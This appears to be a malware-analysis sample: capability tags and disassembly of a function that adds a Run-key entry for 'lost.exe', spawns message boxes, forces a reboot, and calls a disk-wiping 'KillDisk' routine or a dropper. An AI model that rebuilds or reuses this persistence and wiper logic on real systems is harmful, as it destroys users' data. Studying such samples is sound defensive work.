Function at 0x401670
Capabilities:
Create process on windows
Create thread
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x230
mov ebx, ecx
call sym.___main
mov eax, dword [sym.imp.KERNEL32.dll_FreeConsole]
call eax
cmp dword [ebx], 2
jne 0x40182e
mov dword [esp], 1
call sym._ExecuteDropper_4
sub esp, 4
test eax, eax
jne 0x4016b9
mov eax, 0
jmp 0x4018f6
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [esp], str._SystemRoot_System32driverslost.exe
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], str._SystemRoot_System32driverslost.exe
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.YouLost
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._MsgBoxThread_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._MsgBoxThread_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._MsgBoxThread_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov dword [esp], str.shutdown__r__t_0
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x4018f1
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x214]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0x4050b4
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0x110]
add eax, edx
mov dword [eax], 0x7379535c
mov dword [eax + 4], 0x336d6574
mov dword [eax + 8], 0x72645c32
mov dword [eax + 0xc], 0x72657669
mov dword [eax + 0x10], 0x6f6c5c73
mov dword [eax + 0x14], 0x732e7473
mov word [eax + 0x18], 0x7379
mov byte [eax + 0x1a], 0
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
lea eax, [ebp - 0x214]
mov dword [esp], eax
call sym._stricmp
test eax, eax
jne 0x4018e2
call sym._KillDisk_0
jmp 0x4018f1
mov dword [esp], 0
call sym._ExecuteDropper_4
sub esp, 4
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret